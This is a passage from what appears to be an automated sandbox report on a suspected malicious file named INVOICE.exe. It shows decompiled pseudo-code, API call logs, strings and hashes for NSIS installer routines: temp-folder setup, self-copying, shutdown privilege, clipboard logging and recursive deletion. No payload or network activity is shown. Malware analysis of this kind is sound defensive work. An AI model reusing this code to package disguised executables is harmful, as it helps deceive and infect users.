										SetEnvironmentVariableW(L"TEMP", _t235);
										SetEnvironmentVariableW(L"TMP", _t235);
										_t176 = E004034FC(_t199, _t254);
										_t255 = _t176;
										if(_t176 == 0) {
											goto L68;
										}
										goto L40;
									}
									goto L31;
								}
								__eflags =  *((intOrPtr*)(_t199 + 4)) - _t227;
								if( *((intOrPtr*)(_t199 + 4)) != _t227) {
									goto L29;
								}
								_t178 =  *((intOrPtr*)(_t199 + 8));
								__eflags = _t178 - 0x20;
								if(_t178 == 0x20) {
									L28:
									_t36 =  &_v20;
									 *_t36 = _v20 | 0x00000004;
									__eflags =  *_t36;
									goto L29;
								}
								__eflags = _t178 - _t189;
								if(_t178 != _t189) {
									goto L29;
								}
								goto L28;
							}
							_t179 =  *((intOrPtr*)(_t199 + 2));
							__eflags = _t179 - _t210;
							if(_t179 == _t210) {
								L23:
								 *0x434fa0 = 1;
								goto L24;
							}
							__eflags = _t179 - _t189;
							if(_t179 != _t189) {
								goto L24;
							}
							goto L23;
						}
					} else {
						goto L16;
					}
					do {
						L16:
						_t199 = _t199 + 2;
						__eflags =  *_t199 - _t210;
					} while ( *_t199 == _t210);
					goto L17;
				}
				goto L37;
			}

0x0040353b
0x0040353c
0x00403543
0x00403546
0x0040354d
0x00403550
0x00403563
0x00403569
0x0040356c
0x0040356f
0x0040357d
0x00403585
0x00403590
0x004035a9
0x004035ab
0x004035b3
0x004035b3
0x004035be
0x004035c0
0x004035c0
0x004035d5
0x004035fa
0x00403608
0x0040360b
0x00403612
0x00403619
0x00403619
0x00403612
0x0040361b
0x00403620
0x00403621
0x0040362d
0x00403631
0x00403638
0x00403646
0x0040364b
0x00403652
0x00403656
0x0040365a
0x0040365c
0x0040365c
0x0040365a
0x00403663
0x0040366a
0x00403670
0x00403688
0x00403698
0x004036aa
0x004036b1
0x004036b3
0x004036b4
0x004036c5
0x004036c9
0x004036c9
0x004036dc
0x004036de
0x004037d8
0x004037d8
0x004037db
0x004037de
0x00000000
0x00000000
0x004036e8
0x004036e9
0x004036ec
0x004036f5
0x004036f5
0x004036f8
0x004036fb
0x004036fe
0x00403701
0x00403701
0x00403701
0x00403702
0x00403706
0x004037c6
0x004037cf
0x004037d1
0x004037d4
0x004037d7
0x004037d7
0x004037d7
0x00000000
0x0040370c
0x0040370d
0x0040370e
0x00403712
0x0040372c
0x00403733
0x00403746
0x00403747
0x0040375c
0x00403761
0x00403763
0x00403765
0x00403781
0x00403788
0x0040379b
0x0040379c
0x004037b1
0x004037b7
0x004037b9
0x004037bb
0x004037c3
0x004037c5
0x00000000
0x004037c5
0x004037bf
0x004037c1
0x004037e6
0x004037ea
0x004037f3
0x004037f8
0x004037fe
0x00403809
0x0040380b
0x00403810
0x00403812
0x0040386a
0x0040386f
0x00403878
0x0040387f
0x00403882
0x00403a59
0x00403a59
0x00403a5e
0x00403a67
0x00403a84
0x00403afc
0x00403afc
0x00403b04
0x00403b06
0x00403b06
0x00403b0c
0x00403b0c
0x00403a9b
0x00403aa7
0x00403ab8
0x00403abf
0x00403ac6
0x00403ac6
0x00403ace
0x00403ada
0x00403ae8
0x00403af3
0x00000000
0x00000000
0x00000000
0x00403adc
0x00403adc
0x00403add
0x00403adf
0x00403ae0
0x00403ae1
0x00403ae6
0x00403af5
0x00403af7
0x00000000
0x00403af7
0x00000000
0x00403ae6
0x00403ada
0x00403a71
0x00403a78
0x00403a78
0x0040388e
0x00403935
0x00403935
0x00403941
0x00000000
0x00403941
0x0040389f
0x004038a7
0x004038f9
0x004038f9
0x004038ff
0x00403906
0x00403954
0x00403956
0x0040395b
0x0040395d
0x00403965
0x00403965
0x00403970
0x0040397c
0x00403982
0x00403984
0x00403a57
0x00403a57
0x00403a57
0x00000000
0x0040398a
0x0040398a
0x0040398c
0x0040398d
0x00403996
0x0040398f
0x0040398f
0x0040398f
0x0040399c
0x004039a4
0x004039ab
0x004039b3
0x004039b3
0x004039c0
0x004039cc
0x004039d6
0x004039d6
0x004039d8
0x004039df
0x004039e9
0x004039f5
0x004039fb
0x00403a01
0x00403a04
0x00403a0e
0x00403a14
0x00403a16
0x00403a1a
0x00403a2b
0x00403a31
0x00403a36
0x00403a38
0x00403a3b
0x00403a41
0x00403a41
0x00403a38
0x00403a16
0x00403a44
0x00403a4b
0x00403a4b
0x00403a4b
0x00403a4b
0x00403a52
0x00000000
0x00403a52
0x00403984
0x00403908
0x0040390b
0x0040390f
0x00403914
0x00403916
0x00000000
0x00000000
0x00403922
0x0040392d
0x00403932
0x00000000
0x00403932
0x004038b0
0x004038c8
0x004038d9
0x004038da
0x004038de
0x004038e0
0x004038ee
0x004038f5
0x00000000
0x00000000
0x00000000
0x004038f5
0x004038f7
0x00000000
0x004038f7
0x0040381a
0x00403826
0x0040382b
0x00403830
0x00403832
0x00000000
0x00000000
0x0040383a
0x00403842
0x00403853
0x0040385b
0x0040385d
0x00403862
0x00403864
0x00000000
0x00000000
0x00000000
0x00403864
0x00000000
0x004037c1
0x0040376a
0x0040376c
0x00000000
0x00000000
0x0040376e
0x00403772
0x00403776
0x0040377d
0x0040377d
0x0040377d
0x0040377d
0x00000000
0x0040377d
0x00403778
0x0040377b
0x00000000
0x00000000
0x00000000
0x0040377b
0x00403714
0x00403718
0x0040371b
0x00403722
0x00403722
0x00000000
0x00403722
0x0040371d
0x00403720
0x00000000
0x00000000
0x00000000
0x00403720
0x00000000
0x00000000
0x00000000
0x004036ee
0x004036ee
0x004036ef
0x004036f0
0x004036f0
0x00000000
0x004036ee
0x00000000

APIs

SetErrorMode.KERNELBASE(00008001), ref: 00403550
GetVersionExW.KERNEL32(?), ref: 00403579
GetVersionExW.KERNEL32(0000011C), ref: 00403590
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403627
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403663
OleInitialize.OLE32(00000000), ref: 0040366A
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 00403688
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 0040369D
CharNextW.USER32(00000000,00440000,00000020,00440000,00000000), ref: 004036D6
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 00403809
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040381A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403826
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403842
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403853
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040385B
DeleteFileW.KERNELBASE(1033), ref: 0040386F
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403956
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C), ref: 00403965

Part of subcall function 00405AEB: CreateDirectoryW.KERNELBASE(?,00000000,00403520,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405AF1

lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403970
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00441800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00440000,00000000,?), ref: 0040397C
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040399C
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00436000,?), ref: 004039FB
CopyFileW.KERNEL32(C:\Users\user\Desktop\INVOICE.exe,0042AA28,00000001), ref: 00403A0E
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403A3B
OleUninitialize.OLE32(?), ref: 00403A5E
ExitProcess.KERNEL32 ref: 00403A78
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403A8C
OpenProcessToken.ADVAPI32(00000000), ref: 00403A93
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AA7
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403AC6
ExitWindowsEx.USER32(00000002,80040002), ref: 00403AEB
ExitProcess.KERNEL32 ref: 00403B0C

Strings

SeShutdownPrivilege, xrefs: 00403AA1
Low, xrefs: 0040383C
TMP, xrefs: 00403856
~nsu, xrefs: 0040394E
.tmp, xrefs: 0040396A
C:\Users\user\Desktop\INVOICE.exe, xrefs: 00403A09
1033, xrefs: 0040386A
\Temp, xrefs: 00403820
NSIS Error, xrefs: 0040368E
Error launching installer, xrefs: 004038FF
UXTHEME, xrefs: 0040361B, 00403620, 00403626
TEMP, xrefs: 0040384E
C:\Users\user\AppData\Local\Temp\, xrefs: 004037FE, 00403803, 00403819, 00403825, 00403834, 00403841, 0040384D, 00403855, 00403953, 00403964, 0040396F, 0040397B, 0040398C, 0040399B, 00403A51

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: lstrcat$FileProcess$DirectoryExit$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\INVOICE.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3859024572-3618298535
Opcode ID: 7a788a85b9786d5a7ebd132106c546d121407ab0fc20c65c93ef4011eb75cbdd
Instruction ID: 4d4dc0a58e4858e72561def8a0259f0227da8af974c10a5ea2b310ef4b80d7a5
Opcode Fuzzy Hash: 7a788a85b9786d5a7ebd132106c546d121407ab0fc20c65c93ef4011eb75cbdd
Instruction Fuzzy Hash: 66E10670A00214AADB10AFB59D45BAF3AB8EF4470AF14847FF545B22D1DB7C8A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 004056DE Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E004056DE(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				int _t101;
				long _t104;
				void* _t108;
				intOrPtr _t119;
				void* _t127;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x433ee4; // 0x303fa
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					__eflags = _a8 - 0x405;
					if(_a8 == 0x405) {
						_t127 = CreateThread(0, 0, E00405672, GetDlgItem(_a4, 0x3ec), 0,  &_v12); // executed
						CloseHandle(_t127); // executed
					}
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						__eflags = _a8 - 0x404;
						if(_a8 != 0x404) {
							L25:
							__eflags = _a8 - 0x7b;
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							__eflags = _a12 - _t94;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							__eflags = _t95 - _t156;
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E0040657A(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							__eflags = _a16 - 0xffffffff;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							_t101 = TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156);
							__eflags = _t101 - _t171;
							if(_t101 == _t171) {
								_v60 = _t156;
								_v48 = 0x42d268;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t104 = SendMessageW(_v8, 0x1073, _a4,  &_v68);
									__eflags = _a4 - _t156;
									_t171 = _t171 + _t104 + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
									__eflags = _t156 - _a8;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						__eflags =  *0x433ecc - _t156; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x434f08, 8);
							__eflags =  *0x434f8c - _t156;
							if( *0x434f8c == _t156) {
								_t119 =  *0x42c240; // 0x67ce5c
								_t57 = _t119 + 0x34; // 0xffffffd5
								E0040559F( *_t57, _t156);
							}
							E00404472(_t171);
							goto L25;
						}
						 *0x42ba38 = 2;
						E00404472(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E00404500(_a8, _a12, _a16);
						}
						ShowWindow( *0x433ed0, _t156);
						ShowWindow(_t169, 8);
						E004044CE(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x434f10;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x433ed0 = GetDlgItem(_a4, 0x403);
				 *0x433ec8 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x433ee4 = _t134;
				_v8 = _t134;
				E004044CE( *0x433ed0);
				 *0x433ed4 = E00404E27(4);
				 *0x433eec = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60); // executed
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00404499(_a4);
				if(( *0x434f18 & 0x00000003) != 0) {
					ShowWindow( *0x433ed0, _t156);
					if(( *0x434f18 & 0x00000002) != 0) {
						 *0x433ed0 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E004044CE( *0x433ec8);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x434f18 & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x004056e6
0x004056ec
0x004056f6
0x004056f9
0x00405888
0x0040588f
0x004058ac
0x004058b3
0x004058b3
0x004058b9
0x004058c6
0x004058e4
0x004058e6
0x004058e7
0x004058ee
0x00405944
0x00405944
0x00405948
0x00000000
0x00000000
0x0040594a
0x0040594d
0x00405950
0x00000000
0x00000000
0x0040595a
0x00405960
0x00405962
0x00405965
0x00405a67
0x00000000
0x00405a67
0x00405974
0x0040597f
0x00405988
0x0040598f
0x00405993
0x00405996
0x0040599f
0x004059a5
0x004059a8
0x004059a8
0x004059b8
0x004059be
0x004059c0
0x004059c9
0x004059cc
0x004059d3
0x004059da
0x004059e2
0x004059e2
0x004059f0
0x004059f6
0x004059f9
0x004059f9
0x00405a00
0x00405a06
0x00405a12
0x00405a19
0x00405a22
0x00405a24
0x00405a27
0x00405a36
0x00405a39
0x00405a3f
0x00405a40
0x00405a46
0x00405a47
0x00405a48
0x00405a48
0x00405a50
0x00405a5b
0x00405a61
0x00405a61
0x00000000
0x004059c0
0x004058f0
0x004058f6
0x00405926
0x00405928
0x0040592e
0x00405930
0x00405936
0x00405939
0x00405939
0x0040593f
0x00000000
0x0040593f
0x004058fa
0x00405904
0x00000000
0x004058c8
0x004058c8
0x004058ce
0x00405909
0x00000000
0x00405912
0x004058d7
0x004058dc
0x004058df
0x00000000
0x004058df
0x004058c6
0x004056ff
0x00405703
0x0040570b
0x0040570f
0x00405712
0x00405715
0x00405718
0x0040571b
0x0040571c
0x0040571d
0x00405736
0x00405739
0x00405743
0x00405752
0x0040575a
0x00405762
0x00405767
0x0040576a
0x00405776
0x0040577f
0x00405788
0x004057aa
0x004057b0
0x004057c1
0x004057c6
0x004057d4
0x004057e2
0x004057e2
0x004057e7
0x004057f5
0x004057f5
0x004057fa
0x004057fd
0x00405802
0x0040580e
0x00405817
0x00405824
0x00405833
0x00405826
0x0040582b
0x0040582b
0x0040583f
0x0040583f
0x00405853
0x0040585c
0x00405865
0x00405875
0x00405881
0x00405881
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 0040573C
GetDlgItem.USER32(?,000003EE), ref: 0040574B
GetClientRect.USER32(?,?), ref: 00405788
GetSystemMetrics.USER32(00000002), ref: 0040578F
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057B0
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057C1
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004057D4
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057E2
SendMessageW.USER32(?,00001024,00000000,?), ref: 004057F5
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405817
ShowWindow.USER32(?,00000008), ref: 0040582B
GetDlgItem.USER32(?,000003EC), ref: 0040584C
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040585C
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405875
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405881
GetDlgItem.USER32(?,000003F8), ref: 0040575A

Part of subcall function 004044CE: SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC

GetDlgItem.USER32(?,000003EC), ref: 0040589E
CreateThread.KERNEL32(00000000,00000000,Function_00005672,00000000), ref: 004058AC
CloseHandle.KERNELBASE(00000000), ref: 004058B3
ShowWindow.USER32(00000000), ref: 004058D7
ShowWindow.USER32(000303FA,00000008), ref: 004058DC
ShowWindow.USER32(00000008), ref: 00405926
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040595A
CreatePopupMenu.USER32 ref: 0040596B
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040597F
GetWindowRect.USER32(?,?), ref: 0040599F
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059B8
SendMessageW.USER32(?,00001073,00000000,?), ref: 004059F0
OpenClipboard.USER32(00000000), ref: 00405A00
EmptyClipboard.USER32 ref: 00405A06
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A12
GlobalLock.KERNEL32(00000000), ref: 00405A1C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A30
GlobalUnlock.KERNEL32(00000000), ref: 00405A50
SetClipboardData.USER32(0000000D,00000000), ref: 00405A5B
CloseClipboard.USER32 ref: 00405A61

Strings

{, xrefs: 00405944

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: efbbf4d88f7660e4c87201c03f03245d3270aa31951a4a241d93bb0c475bbbe6
Instruction ID: 6b97441d6f4cfe62a880681573964a63c423f2dd70b2063085686802d9cc5617
Opcode Fuzzy Hash: efbbf4d88f7660e4c87201c03f03245d3270aa31951a4a241d93bb0c475bbbe6
Instruction Fuzzy Hash: C8B169B1900608FFDB119FA0DD85AAE7B79FB44355F00803AFA41BA1A0C7755E51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405C49 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405C49(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00405F14(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x434f88 =  *0x434f88 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E0040653D(0x42f270, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405E58(_t68);
					} else {
						lstrcatW(0x42f270, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x42f270,  &_v604);
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E0040653D(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405C01(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E0040559F(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x434f88 =  *0x434f88 + 1;
										} else {
											E0040559F(0xfffffff1, _t68);
											E004062FD(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405C49(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604);
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x42f270 - 0x5c;
					if( *0x42f270 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E00406873(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405E0C(_t68);
							_t38 = E00405C01(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E0040559F(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E0040559F(0xfffffff1, _t68);
							return E004062FD(_t67, _t68, 0);
						}
						L30:
						 *0x434f88 =  *0x434f88 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405c53
0x00405c58
0x00405c61
0x00405c64
0x00405c6c
0x00405c6f
0x00405c72
0x00405c7a
0x00405c7c
0x00405c7d
0x00000000
0x00405c7d
0x00405c88
0x00405c8b
0x00405c8b
0x00405c8b
0x00405c8f
0x00405ca2
0x00405ca9
0x00405cae
0x00405cb2
0x00405cc2
0x00405cb4
0x00405cba
0x00405cba
0x00405cc7
0x00405ccb
0x00405cd7
0x00405cdd
0x00405ce2
0x00405ce8
0x00405cf3
0x00405cf9
0x00405cfb
0x00405cfe
0x00405da8
0x00405da8
0x00405dac
0x00405dae
0x00405dae
0x00405dae
0x00405dae
0x00000000
0x00000000
0x00000000
0x00000000
0x00405d04
0x00405d04
0x00405d04
0x00405d0c
0x00405d2c
0x00405d34
0x00405d39
0x00405d40
0x00405d5b
0x00405d60
0x00405d62
0x00405d86
0x00405d64
0x00405d64
0x00405d67
0x00405d7b
0x00405d69
0x00405d6c
0x00405d74
0x00405d74
0x00405d67
0x00405d42
0x00405d48
0x00405d4a
0x00405d50
0x00405d50
0x00405d4a
0x00000000
0x00405d40
0x00405d0e
0x00405d16
0x00000000
0x00000000
0x00405d18
0x00405d20
0x00000000
0x00000000
0x00405d22
0x00405d2a
0x00000000
0x00000000
0x00000000
0x00405d8b
0x00405d93
0x00405d99
0x00405d99
0x00405da2
0x00000000
0x00405da2
0x00405ccd
0x00405cd5
0x00000000
0x00000000
0x00000000
0x00405c91
0x00405c91
0x00405c93
0x00405db3
0x00405db5
0x00405db8
0x00405e09
0x00405e09
0x00405e09
0x00405dba
0x00405dbd
0x00405dc8
0x00405dcd
0x00405dcf
0x00000000
0x00000000
0x00405dd2
0x00405dde
0x00405de3
0x00405de5
0x00000000
0x00405e00
0x00405de7
0x00405dea
0x00000000
0x00000000
0x00405def
0x00000000
0x00405df6
0x00405dbf
0x00405dbf
0x00000000
0x00405dbf
0x00405c99
0x00405c9c
0x00000000
0x00000000
0x00000000
0x00405c9c

APIs

DeleteFileW.KERNELBASE(?,?,77253420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405C72
lstrcatW.KERNEL32(0042F270,\*.*), ref: 00405CBA
lstrcatW.KERNEL32(?,0040A014), ref: 00405CDD
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,77253420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CE3
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,77253420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CF3
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D93
FindClose.KERNEL32(00000000), ref: 00405DA2

Strings

., xrefs: 00405D18
., xrefs: 00405D04
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C56
\*.*, xrefs: 00405CB4

Memory Dump Source
